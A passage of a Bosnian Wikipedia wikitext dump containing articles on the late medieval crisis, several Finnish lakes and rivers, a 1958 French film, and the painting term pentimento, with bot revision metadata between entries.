|access-date=2021-08-30 |archivedate=2007-08-13 |archiveurl=https://web.archive.org/web/20070813213540/http://www.telegraph.co.uk/opinion/main.jhtml?xml=%2Fopinion%2F2004%2F08%2F08%2Fdo0809.xml&sSheet=%2Fopinion%2F2004%2F08%2F08%2Fixop.html |deadurl=yes }}</ref><ref>{{Cite web |title=The facts on malnutrition & famine |url=http://www.selfempowermentacademy.com.au/pdf/L3_LIVING_on_LIGHT/Glob_Journ/2-m%26f.PDF |access-date=2021-08-30 |archivedate=2000-01-18 |archiveurl=https://web.archive.org/web/20000118193408/http://www.selfempowermentacademy.com.au/pdf/L3_LIVING_on_LIGHT/Glob_Journ/2-m%26f.PDF |deadurl=yes }}</ref> U Francuskoj, [[Stogodišnji rat]], loše žetve i epidemije smanjile su populaciju za dvije trećine.<ref>Don O'Reilly. "[http://www.historynet.com/magazines/military_history/3031536.html Hundred Years' War: Joan of Arc and the Siege of Orléans] {{Webarchive|url=https://web.archive.org/web/20061109043743/http://www.historynet.com/magazines/military_history/3031536.html |date=2006-11-09 }}". ''TheHistoryNet.com''.</ref> [[Narodni ustanci u srednjovjekovnoj Evropi]] i građanski ratovi između plemića unutar država poput [[ratovi dviju ruža|ratova dviju ruža]] bili su česti - sa Francuskom u internim borbama devet puta - a bilo je i međunarodnih sukoba između kraljeva, kao što je slučaj sa [[francuska|Francuskom]] i [[engleska|Engleskom]] u [[stogodišnji rat|Stogodišnjem ratu]]. Jedinstvo [[Rimokatolička Crkva|Rimokatoličke Crkve]] uništenoj je [[zapadna šizma|Zapadnom šizmom]]. [[Sveto Rimsko Carstvo]] također je bilo u padu; nakon Velike međuvlade (1247–1273), Carstvo je izgubilo koheziju i politički, zasebne dinastije raznih njemačkih država postale su važnije od zajedničkog carstva. == Demografija == {{main|Demografija srednjeg vijeka}} Neki učenjaci tvrde da je na početku 14. vijeka Evropa bila prenaseljena.<ref>{{cite book|title=Passages from Antiquity to Feudalism|author=[[Perry Anderson]]|publisher=Verso|year=1974 |origyear=2006|isbn=1-85984-107-4|pages=186, 199}}</ref><ref>{{cite web|url=http://www.socialistworker.co.uk/art.php?id=17594|publisher=Socialist Worker Online|title=Feudalism and the growth of the market|author=Jonathan Maunder|date=2009-04-07|accessdate=2009-12-22|archive-date=2010-03-27|archive-url=https://web.archive.org/web/20100327012653/http://www.socialistworker.co.uk/art.php?id=17594|dead-url=yes}}</ref> Do 14. vijeka granice su se prestale širiti i interna kolonizacija se privodila kraju, ali je nivo populacije ostao visok. [[Srednjovjekovni topli period]] završio je nekada krajem 13. vijeka, donijevši "[[Malo ledeno doba]]"<ref>''World Regions in Global Context'', Third Edition</ref> i teže vremenske uslove sa smanjenim žetvama. U sjevernoj Evropi, nova tehnološka otkrića poput teškog [[plug]]a i [[tropoljni sistem|tropoljnog sistema]] nisu bila tako efikasna u raskrčivanju novih polja za žetvu kao u [[sredozemlje|Sredozemlju]] zato što je na sjeveru tlo bilo siromašno i slično glini.<ref name=Bennet&Hollister2006>J. M. Bennett and C. W. Hollister, ''Medieval Europe: A Short History'' (New York: McGraw-Hill, 2006), str. 326.</ref> Nestašice hrane i brz rast cijena bili su životne činjenice već čitav vijek prije kuge. Nije bilo dovoljno žita, zobi, sijena, a shodno tome i stoke. Njihov nedostatak rezultirao je [[pothranjenost|pothranjenošću]], što povećava podložnost infekcijama zbog oslabljenog imuniteta. U jesen 1314. počele su jake kiše, koje su bile početak nekoliko godina hladnih i vlažnih zima.<ref name=Bennet&Hollister2006/> Već slabe žetve na sjeveru postale su još slabije i uslijedila je sedmogodišnja glad. Između 1315. i 1317. katastrofalna glad, poznata kao [[Velika glad (1315–1317)|Velika glad]], pogodila je veći dio [[Sjeverozapadna Evropa|Sjeverozapadne Evrope]]. Bila je nedvojbeno najgora u historiji Evrope, moguće smanjivši populaciju za više od 10%.<ref name=Bennet&Hollister2006/> [[Datoteka:Republik Venedig Handelswege01.png|thumb|right|[[Republika Genova|Ženovske]] (crveno) i [[Mletačka Republika|mletačke]] (zeleno) pomorske trgovinske rute u [[Sredozemno more|Sredozemlju]] i [[Crno more|Crnom moru]]]] Većina vlada uvela je mjere koje su branile izvoz prehrambenih proizvoda, osuđivale špekulante [[crno tržište|crnog tržišta]], postavljale regulacije cijena žitarica i stavile ribolov velikih razmjera izvan zakona. U najboljem slučaju, pokazale su se nesprovodivima, a u najgorem su doprinijele padu čitavog kontinenta. Najjače pogođene zemlje, poput Engleske, nisu bile u stanju kupiti žitarice iz inostranstva: od Francuske zbog zabrane, a od većine ostalih proizvođača žitarica zbog loših žetvi zbog nedostatka radne snage. Bilo koje žitarice koje su se mogle otpremiti oteli bi [[piratstvo|pirati]] ili [[pljačka]]ši kako bi ih prodali na crnom tržištu. Za to vrijeme, mnoge od najvećih država, prije svega Engleska i Škotska, ratovale su, trošeći dobar dio svojih [[riznica]] i pogoršavajući [[inflacija|inflaciju]]. 1337. godine, u zoru prvog vala [[crna smrt|Crne smrti]], Engleska i Francuska krenule su u rat poznat kao [[Stogodišnji rat]]. Tu situaciju pogoršali su zemljoposjednici i monarsi poput [[Edward III od Engleske|Edwarda III od Engleske]] (vladao 1327–1377) i [[Philippe VI od Francuske|Philipa VI od Francuske]] (vladao 1328–1350), koji su podigli kazne i najamnine svojih zakupaca iz straha da bi njihov relativno visok [[standard života]] opao.<ref name=Bennet&Hollister2006/> Evropska ekonomija stupila je u [[začarani krug]] u kojem su glad i hronične, oslabljujuće bolesti smanjivale produktivnost radnika, pa je proizvodnja žitarica, izazivajući povećanje cijena žitarica. Standard života drastično je opao, hrana je postala ograničenija, a Evropljani su cjelokupno doživljavali više zdravstvenih problema. Kada se javila epidemija [[trbušni tifus|tifusa]], hiljade je osoba umrlo u naseljenim urbanim centrima, prije svega u [[Ypres]]u (sada u Belgiji). 1318. godine [[infekcija|kuga]] nepoznatog porijekla, za koju neki smatraju da je bila [[antraks]], pogodila je životinje u Evropi, prije svega ovce i stoku, dodatno smanjivši opskrbu hranom i prinose seljaka. == Narodni ustanci == {{main|Narodni ustanci u kasnoj srednjovjekovnoj Evropi}} Prije 14. vijeka narodni ustanci nisu bili nepoznati, npr. ustanci kod plemićke kuće protiv nevoljenog gospodara, ali su bili lokalnog djelokruga. To se promijenilo u 14. i 15. vijeku, kada su novi pritisci odozgo na seljake rezultirali masivnim pokretima i narodnim ustancima u čitavoj Evropi. Kao primjer toga koliko su ustanci postali česti i rašireni, u Njemačkoj je između 1336. i 1525. bilo više od šezdeset faza vojnih seljačkih nemira.<ref>Peter Blickle, ''Unruhen in der ständischen Gesellschaft 1300–1800'', 1988</ref> == Politika i religija == [[Datoteka:Batalha de Aljubarrota 02.jpg|thumb|250px|[[Bitka kod Alžubarote]]]] Jedinstvo [[Rimokatolička Crkva|Rimokatoličke Crkve]] uništeno je [[zapadna šizma|Zapadnom šizmom]]. [[Sveto rimsko carstvo]] također je bilo u padu, u razdoblju nakon Velike međuvlade (1247–1273), Carstvo je izgubilo koheziju i politički odvojene dinastije raznih njemačkih država postale su važnije od njihovog zajedničkog carstva. === Građanski ratovi === * [[Ratovi ruža]] === Međunarodni ratovi === * [[Stogodišnji rat]] * [[Poljsko-teutonski rat]]ovi * [[Portugalska kriza (1383–1385)]] * [[Mongolsko osvajanje Rusije]] * [[Burgundski ratovi]] * [[Bizantsko-osmanski ratovi]] * [[Osmanski ratovi u Evropi]] == Objašnjenja krize == === Maltuzijsko === Učenjaci koriste termin poznat kao [[malthusova katastrofa|Malthusova granica]] za izražavanje i objašnjavanje nekih tragedija kao rezultat prenaseljenosti. [[Thomas Malthus]] je 1789. u svom djelu ''Essay on the Principle of Population'' (''Esej o principu prenaseljenosti'') ustvrdio da će se ljudi na kraju toliko namnožiti da će preći granicu neophodnih resursa; kada dostignu tu tačku, katastrofa postaje neizbježna. Profesor [[David Herlihy]] u svom djelu ''The Black Death and the Transformation of the West'' (''Crna smrt i transformacija Zapada'') istražuje tu ideju kuge kao neizbježne krize koja je skovana za čovječanstvo u svrhu kontrole populacije i ljudskih resursa. U djelu ''The Black Death; A Turning Point in History?'' (''Crna smrt; Prekretnica u historiji?'', urednik William M. Bowsky) on "nagovještava da je središnja uloga [[crna smrt|Crne smrti]] u društvu [[kasni srednji vijek|kasnog srednjeg vijeka]] ... sada izazvana. Bazirajući tvrdnje na neomaltuzijskoj ekonomiji, [[historijski revizionizam|historijski revizionisti]] revidirali su Crnu smrt kao neophodnu i već zakašnjelu ispravku za prenaseljenu Evropu." Herlihy je također ispitao argumente protiv maltuzijske krize, izjavivši da "ako je Crna smrt odgovor na pretjerane brojeve ljudi, trebala je dospjeti nekoliko decenija ranije"<ref name=Herlihy> {{cite book |last=Herlihy |first=David |title=The Black Death and the Transformation of the West |page=33 |url=http://www.hup.harvard.edu/catalog.php?isbn=9780674076136 |year=1997 |accessdate=2 September 2009 |publisher=Harvard University Press |isbn=978-0-674-07612-9}}</ref> zbog rasta populacije u godinama prije izbijanja Crne smrti. Herlihy također ističe ostale, biološke faktore koji se protive kugi kao "računu" tvrdeći da je "uloga gladi u utjecaju na kretanje populacije također problematična. Mnoge gladi koje su prethodile Crnoj smrti, pa čak i [[Velika glad (1315–1317)|"velika glad" 1315. do 1317. godine]], nije rezultirala ikakvim mjerljivim smanjenjem nivoa populacije".<ref name=Herlihy /> Herlihy zaključuje da nam "srednjovjekovno iskustvo ne pokazuje maltuzijsku krizu već mrtvu tačku, u smislu da je zajednica održavala stabilan, vrlo visok nivo brojnosti duži period" i izjavljuje da bi se taj fenomen više trebao smatrati ćorsokakom, a ne krizom, kako bi se opisala Evropa prije epidemije.<ref name=Herlihy />{{rp|34}} == Povezano == * [[Renesansa 12. vijeka]] * [[Renesansa|Renesansa 15. vijeka]] * [[Kasni srednji vijek]] * [[Historija nauke]] * ''[[A Distant Mirror|Udaljeno ogledalo: Kobni 14. vijek]]'' * ''[[The Autumn of the Middle Ages|Opadanje srednjeg vijeka]]'' == Reference == {{reflist}} == Vanjske veze == * [http://facstaff.bloomu.edu/mhickey/to%201650%20Lecture%2011.htm "Opadanje srednjeg vijeka": Kriza i oporavak, 1300-1450] {{Webarchive|url=https://web.archive.org/web/20150926022059/http://facstaff.bloomu.edu/mhickey/to%201650%20Lecture%2011.htm |date=2015-09-26 }} [[Kategorija:Srednji vijek]] nnhi8rcthuzrkfhphn5ixv4874v8fpi 0 4546052 42602597 42406984 2026-05-27T19:18:27Z InternetArchiveBot 155863 Rescuing 2 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602597 wikitext text/x-wiki {{Infokutija jezero | ime = Kuusamojärvi | drugo_ime = | slika =Lake_Kuusamo.jpg | slika_širina = | slika_opis = | kontinenti = [[Evropa]] | regije =[[Skandinavija]] | države = {{flag|Finska}} | pokrajine= [[Sjeverna Ostrobotnija]] | gradovi= [[Kuusamo]] | naselja = | vrsta= [[Protočno jezero|protočno]] | površina=47,4<ref name=jarvi/> | volumen=0.162<ref name=jarvi/> | visina=253<ref name=jarvi/> | obala =195<ref name=jarvi/> | dužina = | širina = | dubina =17.69<ref name=jarvi/> | otoci = | pritoke= | odljev = | salinitet = | broj_vrsta = | zaš_područja = | mostovi = | brane = | plovnost = | luke = | kol_robe = | karta = | karta_širina = | karta_opis = | lok_karta = | alt_karta = | širina-st =65 | širina-min =54 | širina-sek = 0 | širina-oznaka =N | dužina-st = 29 | dužina-min =22 | dužina-sek = 0 | dužina-oznaka =E | iso-regija = | lok_karta_opis = | fusnote = }} '''Kuusamojärvi''' je srednje veliko [[jezero]] na [[sjeveroistok]]u [[Finska|Finske]] koje leži u [[Sjeverna Ostrobotnija|Regiji Sjeverna Ostrobotnija]].<ref name=jarvi/> == Karakteristike == Jezero Kuusamojärvi leži u [[sliv]]u [[Rijeka (vodotok)|rijeke]] [[Kem (rijeka)|Kem]], na [[nadmorska visina|nadmorskoj visini]] od 253 [[metar|metra]]<ref name=jarvi>{{cite web | url =http://www.jarviwiki.fi/wiki/Kuusamoj%C3%A4rvi_%2874.031.1.001%29 | title =''Kuusamojärvi'' | accessdate =18. 11. 2015 | language =engleski | publisher =Jarwiki | archive-date =2016-02-23 | archive-url =https://web.archive.org/web/20160223142951/http://www.jarviwiki.fi/wiki/Kuusamoj%C3%A4rvi_(74.031.1.001) | url-status =dead }}</ref>, kod [[grad]]a [[Kuusamo]]. Kuusamojärvi ima površinu od 47,4 [[km²]], prosječnu dubinu od 3.4 [[metar]]a, i najveću od 17.69 [[metar|m]].<ref name=jarvi/> Najveći [[otok]]. na jezeru je Poro velik 106 [[hektar]]a.<ref name=jarvi/> == Reference == {{reflist}} == Vanjske veze == * [http://www.jarviwiki.fi/wiki/Kuusamoj%C3%A4rvi_%2874.031.1.001%29 ''Kuusamojärvi''] {{Webarchive|url=https://web.archive.org/web/20160223142951/http://www.jarviwiki.fi/wiki/Kuusamoj%C3%A4rvi_(74.031.1.001) |date=2016-02-23 }} {{en icon}} [[Kategorija:Jezera u Finskoj]] nw5xes0dfcpjn44ijh55el6j4b7n81k 0 4546647 42602537 42406925 2026-05-27T12:07:34Z InternetArchiveBot 155863 Rescuing 2 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602537 wikitext text/x-wiki {{Infokutija jezero | ime = Kiuruvesi | drugo_ime = | slika =Kiuruvesi ilmasta kuvattuna.jpg | slika_širina = 260px | slika_opis =[[Grad]] [[Kiuruvesi]] i jezero u pozadini | kontinenti = [[Evropa]] | regije=[[Skandinavija]] | države= {{flag|Finska}} | pokrajine= [[Sjeverna Savonija|Regija Sjeverna Savonija]] | gradovi=[[Kiuruvesi]] | naselja= | vrsta= [[protočno jezero|protočno]] | površina=14,31 <ref name=jarvi/> | volumen=0,020<ref name=jarvi/> | visina= 88.4<ref name=jarvi/> | obala =65.44<ref name=jarvi/> | dužina = | širina = | dubina =8<ref name=jarvi/> | otoci =Syväinsaari | pritoke=Koskenjoki | odljev = Ryönänjoki | salinitet = | broj_vrsta = | zaš_područja = | mostovi = | brane = | plovnost = | luke = | kol_robe = | karta = | karta_širina = | karta_opis = | lok_karta = | alt_karta = | širina-st =63 | širina-min =62 | širina-sek = 21 | širina-oznaka =N | dužina-st = 26 | dužina-min =71 | dužina-sek = 7 | dužina-oznaka =E | iso-regija = | lok_karta_opis = | fusnote = }} '''Kiuruvesi''' (što doslovno prevedeno znači ''[[ševe|Ševino]] [[jezero]]''<ref name=his>{{cite web | url =http://www.kiuruvesi.fi/Suomeksi/English | title =Municipal information | accessdate =26. 11. 2015. | language =engleski | publisher =Kiuruveden kaupunki | archivedate =2016-01-17 | archiveurl =https://web.archive.org/web/20160117224944/http://www.kiuruvesi.fi/Suomeksi/English | deadurl =yes }}</ref>) je srednje veliko [[jezero]] u sredini [[Finska|Finske]] u [[Sjeverna Savonija|Regiji Sjeverna Savonija]] dio [[sliv]]a [[Rijeka (vodotok)|rijeke]] [[Vuoksi]].<ref name=jarvi/> == Karakteristike == Jezero Kiuruvesi leži na [[nadmorska visina|nadmorskoj visini]] od 88.4 [[metar|metra]], maksimalna dubina mu iznosi - 8 [[metar|m]] a prosječna 1.4 [[metar|m]], a ukupna površina 14,31 [[km²]].<ref name=jarvi>{{cite web | url =http://www.jarviwiki.fi/wiki/Kiuruvesi_%2804.523.1.001%29 | title =''Kiuruvesi'' | accessdate =26. 11. 2015 | language =engleski | publisher =Jarwiki | archive-date =2016-09-18 | archive-url =https://web.archive.org/web/20160918132403/http://www.jarviwiki.fi/wiki/Kiuruvesi_(04.523.1.001) | url-status =dead }}</ref> Na njegovom [[sjever]]nom kraju na [[ušće|ušću]] [[Rijeka (vodotok)|rijeke]] Koskenjoki leži istoimeni [[grad]] [[Kiuruvesi]].<ref name=jarvi/> == Reference == {{reflist}} == Vanjske veze == * [http://www.jarviwiki.fi/wiki/Kiuruvesi_%2804.523.1.001%29 ''Kiuruvesi''] {{Webarchive|url=https://web.archive.org/web/20160918132403/http://www.jarviwiki.fi/wiki/Kiuruvesi_(04.523.1.001) |date=2016-09-18 }} {{en icon}} [[Kategorija:Jezera u Finskoj]] opsrtes6jzjtifujeqdwz7ygg20pxfo 0 4547438 42602650 42407052 2026-05-28T02:07:52Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602650 wikitext text/x-wiki {{Infokutija vodotok | ime=Rijeka Lestijoki | drugo_ime = | slika = Lestijoki 3.JPG | slika_širina = 260px | slika_opis =Lestijoki kod [[ušće|ušća]] | kontinenti = [[Evropa]] | regije = [[Skandinavija]] | države = {{flag|Finska}} | pokrajine =[[Centralna Ostrobotnija]], [[Sjeverna Ostrobotnija]] | gradovi =[[Kannus]], [[Himanka]] | izvor = [[Lestijärvi (jezero)|Lestijärvi]] | izvor_visina =140,7 | izvor_koord =63° 34′ 52″ N, 24° 43′ 22″ E | ušće = [[Botnijski zaliv|Botnijski zaljev]] kod [[Himanka|Himanke]] | ušće_visina =0 | ušće_koord =64° 4′ 22″ N, 23° 37′ 39″ E | ušće_vrsta = | dužina = 110<ref name=jarvi/> | pritoke= | prot_jezera = | vodopadi = | ade = | protok_sred = | protok_min = | protok_maks = | sliv = [[Baltičko more|baltički]] | površina =1372 | ulijeva_se_u =[[Botnijski zaliv|Botnijski zaljev]] | broj_vrsta = | zaš_područja = | mostovi = | brane = | akumulacije = | plovnost = | luke = | kol_robe = | karta = | karta_širina = | karta_opis = }} '''Lestijoki''' je [[Rijeka (vodotok)|rijeka]] na [[zapad]]u [[Finska|Finske]], duga 110 [[km]].<ref name=pdf/> == Karakteristike== Lestijoki [[izvor|izvire]] iz [[jezero|jezera]] [[Lestijärvi (jezero)|Lestijärvi]] na [[nadmorska visina|nadmorskoj visini]] od 140.7 [[metar]]a<ref name=jarvi>{{cite web | url =http://www.jarviwiki.fi/wiki/Lestij%C3%A4rvi_%2851.041.1.001%29?setlang=en | title =''Lestijärvi'' | accessdate =10. 12. 2015 | language =finski | publisher =Jarviwiki | archive-date =2019-12-15 | archive-url =https://web.archive.org/web/20191215205810/http://www.jarviwiki.fi/wiki/Lestij%C3%A4rvi_(51.041.1.001)?setlang=en | url-status =dead }}</ref>, od tamo teče prema [[sjeverozapad]]u do [[ušće|ušća]] u [[Botnijski zaliv|Botnijski zaljev]], kod naselja [[Himanka]].<ref name=pdf>{{cite web | url =https://www.kannus.fi/Data/content/Vapaa-aika/liikunta/lestijokiliikuntakartta.pdf | title =''Lestijoki'' | accessdate =10. 12. 2015 | language =finski | publisher =Lestijoki.net | archive-date =2016-04-30 | archive-url =https://web.archive.org/web/20160430104415/https://www.kannus.fi/Data/content/Vapaa-aika/liikunta/lestijokiliikuntakartta.pdf | dead-url =yes }}</ref> == Reference == {{reflist}} == Vanjske veze == {{commonscat|Lestijoki}} * [http://www.kolumbus.fi/rantakurun.kennel/lestijoki/tuokioku.htm ''Lestijoki''] {{Webarchive|url=https://web.archive.org/web/20160304195556/http://www.kolumbus.fi/rantakurun.kennel/lestijoki/tuokioku.htm |date=2016-03-04 }} {{fi icon}} [[Kategorija:Rijeke u Finskoj]] e2mn7n2jn66zmcj2e5j12utlob9b7b6 0 4547467 42602637 42318023 2026-05-28T00:50:13Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602637 wikitext text/x-wiki {{Infokutija film | tip = c/b | naslov = Le Miroir a deux faces | slika = Le Miroir a deux faces poster.jpg | caption = | director = [[André Cayatte]] | producer = Henry Deutschmeister<br>[[Alain Poiré]]<br>Robert Sussfeld (izvršni producent) | writer = André Cayatte<br>[[Gérard Oury]]<br>'''dijalozi:'''<br>[[Jean Meckert]]<br>[[Denis Perret]] | starring = [[Michèle Morgan]]<br>[[Bourvil]]<br>[[Ivan Desny]] | music = [[Louiguy]] | cinematography = [[Christian Matras (cinematographer)|Christian Matras]] | editing = Paul Cayatte | studio = CEI Incom<br>Franco London Films<br>Paris Union Films<br>Société Nouvelle des Établissements Gaumont (SNEG) | distributer = Société des Etablissements L. Gaumont | premijera = {{Film date|1958|10|15|df=y}} | trajanje = 96 min. | zemlja = {{flag|Francuska}}<br />{{flag|Italija}} | jezik = francuski }} '''''Le Miroir a deux faces''''' ({{jez-sh|Ogledalo ima dva lica}}) je francuski crno-bijeli igrani film snimljen 1958. godine u režiji [[André Cayatte|Andréa Cayattea]] po scenariju koji je napisao zajedno sa [[Gérard Oury|Gérardom Ouryjem]]. Po žanru je [[dramski film|drama]], a protagonistica, čiji lik tumači [[Michèle Morgan]] je neugledna sredovječna žena koju zapostavlja njen muž, univerzitetski profesor (koga tumači [[Bourvil]]). Radnja prikazuje kako nakon prometne nesreće bude podvrgnuta plastičnoj operaciji koja će je proljepšati, učiniti poželjnom drugim muškarcima te izazvati ispade ljubomore kod njenog dotada ravnodušnog muža. Godine 1996. je u [[SAD]] snimljen [[remake]] u obliku [[romantična komedija|romantične komedije]] pod naslovom ''[[The Mirror Has Two Faces]]''. ==Uloge== *Michèle Morgan - Marie-Jose *Bourvil - Tardivet *Ivan Desny - Gerard *[[Elizabeth Manet]] - Veronique *[[Gérard Oury]] - Dr. Bosc *[[Sandra Milo]] - Ariane *[[Georgette Anys]] - Mme. Benoit *[[Julien Carette]] - M. Benoit *[[Georges Chamarat]] - M. Vauzanges *[[Jane Marken]] - Mme. Vauzanges *[[Sylvie (glumica)|Sylvie]] - Mme. Tardivet ==Vanjske veye== *[http://filmsdefrance.com/FDF_Le_Miroir_a_deux_faces_1958_rev.html ''Le Miroir a deux faces''] {{Webarchive|url=https://web.archive.org/web/20121013055925/http://filmsdefrance.com/FDF_Le_Miroir_a_deux_faces_1958_rev.html |date=2012-10-13 }} at Films de France *[http://cinema.aliceadsl.fr/film/default.aspx?filmid=FI016823 ''Le Miroir a deux faces''] {{Webarchive|url=https://web.archive.org/web/20071023201450/http://cinema.aliceadsl.fr/film/default.aspx?filmid=FI016823 |date=2007-10-23 }} at Alice Cineme *{{imdb title|id=0051933}} {{Andre Cayatte}} {{Gerard Oury}} {{Normativna kontrola}} {{DEFAULTSORT:Miroir A Deux Faces, La}} [[Kategorija:Francuski filmovi]] [[Kategorija:Dramski filmovi]] [[Kategorija:Romantični filmovi]] krtqvitw5hwvvr79rvcg8e2jdkxgenw 0 4547977 42602655 42407071 2026-05-28T03:07:23Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602655 wikitext text/x-wiki {{Infokutija vodotok | ime=Rijeka Lieksanjoki | drugo_ime =Лендерка | slika = Lieksanjoki-Haapavitja.jpg | slika_širina = 260px | slika_opis =[[Vodopad|Slapovi]] na rijeci | kontinenti = [[Evropa]] | regije = [[Karelija]] | države = {{flag|Rusija}}, {{flag|Finska}} | pokrajine =[[Republika Karelija]], [[Sjeverna Karelija]] | gradovi =[[Lieksa]] | izvor = [[Sula (jezero)|Jezero Sula]] | izvor_visina =166<ref name=rus/> | izvor_koord =63° 28′ 33″ N, 31° 9′ 43″ E | ušće = [[Pielinen|Jezero Pielinen]] ([[Lieksa]]) | ušće_visina =93,7<ref name=jarvi/> | ušće_koord =63° 18′ 30″ N, 30° 0′ 30″ E | ušće_vrsta = | dužina = 132<ref name=pdf/> | pritoke= | prot_jezera = | vodopadi = | ade = | protok_sred = | protok_min = | protok_maks = | sliv = [[Baltičko more|baltički]] | površina=8255<ref name=pdf/> | ulijeva_se_u = | broj_vrsta = | zaš_područja = | mostovi = | brane = | akumulacije = | plovnost = | luke = | kol_robe = | karta = | karta_širina = | karta_opis = }} '''Lieksanjoki''' ([[ruski jezik|ruski]]: ''Лендерка'')je [[Rijeka (vodotok)|rijeka]] u [[Rusija|Rusiji]] i [[Finska|Finskoj]] duga 132 [[km]].<ref name=pdf>{{cite web | url =http://www.kalasaalis.com/vesistot/Lieksanjoki/431 | title =''Lieksanjoki, Lieksa'' | accessdate =16. 12. 2015 | language =finski | publisher =Kalasaalis | archive-date =2011-10-13 | archive-url =https://web.archive.org/web/20111013010735/http://kalasaalis.com/vesistot/Lieksanjoki/431 }}</ref> == Geografija == Lieksanjoki [[izvor|izvire]] iz [[jezero|jezera]] [[Sula (jezero)|Jezera Sula]] na [[nadmorska visina|nadmorskoj visini]] od 166 [[metar]]a<ref name=rus>{{cite web | url =http://vedlozero.ru/knowledge/biodiversity-karelia/ozera-reki/412-sula.html | title =''Озеро Сула'' | accessdate =16. 12. 2015 | language =ruski | publisher =Vedlozero | archivedate =2017-05-01 | archiveurl =https://web.archive.org/web/20170501142408/http://vedlozero.ru/knowledge/biodiversity-karelia/ozera-reki/412-sula.html | deadurl =yes }}</ref>, u [[Rusija|ruskoj]] [[Republika Karelija|Republici Karelija]], od tamo teče prema [[jug]]u u Finsku, do [[grad]]a [[Lieksa]], gdje ima [[ušće]] u [[Pielinen|Jezero Pielinen]] na nadmorskoj visini od 93,7 metara.<ref name=jarvi>{{cite web | url =http://www.jarviwiki.fi/wiki/Pielinen_%2804.411.1.001%29?setlang=en | title =''Pielinen'' | accessdate =16. 12. 2015 | language =engleski | publisher =Jarwiki | archive-date =2016-03-05 | archive-url =https://web.archive.org/web/20160305123528/http://www.jarviwiki.fi/wiki/Pielinen_(04.411.1.001)?setlang=en | url-status =dead }}</ref> Lieksanjoki ima [[sliv]] velik 8255 [[km²]]<ref name=pdf/>, kako na svom kratkom toku ima prilično veliki pod ima dosta [[vodopad|slapova]]. == Reference == {{reflist}} == Vanjske veze == * [http://www.kalasaalis.com/vesistot/Lieksanjoki/431 ''Lieksanjoki, Lieksa''] {{Webarchive|url=https://web.archive.org/web/20111013010735/http://kalasaalis.com/vesistot/Lieksanjoki/431 |date=2011-10-13 }} {{fi icon}} [[Kategorija:Rijeke u Rusiji]] [[Kategorija:Rijeke u Finskoj]] ifqlvdzvex30qatoh5bq19o4u9mfh93 0 4548557 42602700 20283631 2026-05-28T08:42:39Z Surajr7 346896 42602700 wikitext text/x-wiki [[Datoteka:Antonello da Messina 061.jpg|thumb|250px|[[Antonello da Messina]]: Salvator Mundi, 1465.-75. '''Pentimento''' se vidi u dnu Kristova vrata]] [[Datoteka:Caravaggio - The Cardsharps (1596-97) Kimbell Art Museum.jpg|thumb|250px|[[Caravaggio]]: [[Kartaši (Caravaggio)|Kartaši]], oko 1595. Rentgenske snimke otkrile su brojne '''pentimente''' i na Londonskoj i na teksaškoj inačici (ovdje na slici)]] '''Pentimento''' ([[italijanski|ital.]] ''pentimento'', [[engleski|eng.]] ''pentiment'', [[francuski|fra.]] ''un repentir'') je naziv za naknadni [[slikarstvo|slikarev]] ispravak na već dijelom dovršenom djelu. Radi se zapravo o presliku kojim umjetnik ispravlja ili mijenja detalje, ili veće dijelove slike, što odaje slojevit i često ne odveć pravolinijski proces nastajanja umjetničkoga djela. Pojam potječe iz italijanskog i izborno znači „pokajati se". Premda su bili česti, ''pentimenti'' se golim okom najčešće ne mogu vidjeti, osim u slučajevima kada je izvorni crtež prekriven toliko tankim slojem boje da su reljefne konture preslikanih poteza kistom ostale vidljive, ili da je boja upotrijebljena za preslikavanje vremenom izblijedjela i postala dijelom providna. Pentimenti se međutim relativno lako mogu otkriti [[Rendgenske zrake|rendgenskim]] snimkama slika ili tehnikom [[Infracrveno zračenje|Infracrvene]] reflektografije. Brojna djela koja su zadnjih decenija tako istražena, pokazala su da su ''pentimenti'' bili vrlo česti u slikarstvu uljem na platnu i kod velikih umjetnika npr. [[Jan van Eyck|Jana van Eycka]], [[Tizian]]a, [[Caravaggio|Caravaggia]] i [[Rembrandt]]a. [[Datoteka:OldGuitaristLady.jpg|thumb|mini|left|[[Pablo Picasso]]: Stari gitarist, 1903. Iznad starčeva vrata uočljive su konture ženskog lica koje pripada prethodnoj slici preko koje je sadašnja naslikana.]] Razlog tome je što su stari majstori često započinjali rad na slici bez pripremnih crteža, korigirajući eventualne nedostatke ili unoseći nove kompozicijske elemente „u hodu“, preslikavajući dijelove kojima nisu bili zadovoljni tj. slikovito rečeno „kajući se“, što je izvorno značenje pojma ''pentimento''. == Primjeri == Odličan primjer ''pentimenta'' je slika Antonella da Messine „Salvator Mundi“ na kojoj se, zbog blijeđenja boje, u dnu kristova vrata, malo iznad blagoslovljajuće ruke vidi trag izvorno naslikane, kasnije preslikane košulje, košulje koja je na taj način neznatno smanjena. Glasovita Picassova slika „Stari gitarist“ iz 1903. godine odaje tragove ranije slike naslikane na istome platnu prije one sadašnje.<ref>[http://www.google.com/imgres?imgurl=http://www.harpiesbizarre.com/art/art-OldGuitaristLady.jpg&imgrefurl=http://www.harpiesbizarre.com/art.htm&usg=__dVLakrOuVjE-datGwb5ZVeae1bA=&h=365&w=391&sz=80&hl=en&start=0&zoom=1&tbnid=dUwC8IDLqFleLM:&tbnh=143&tbnw=154&ei=RpN5Td_uH4aisQPI3cGKAw&prev=/images%3Fq%3DThe%2Bold%2Bguitarist%26um%3D1%26hl%3Den%26client%3Dsafari%26sa%3DN%26rls%3Den%26biw%3D1290%26bih%3D784%26tbs%3Disch:1&um=1&itbs=1&iact=hc&vpx=243&vpy=279&dur=2536&hovh=217&hovw=232&tx=203&ty=124&oei=RpN5Td_uH4aisQPI3cGKAw&page=1&ndsp=37&ved=1t:429,r:11,s:0 Rendgenski snimak slike ''Stari 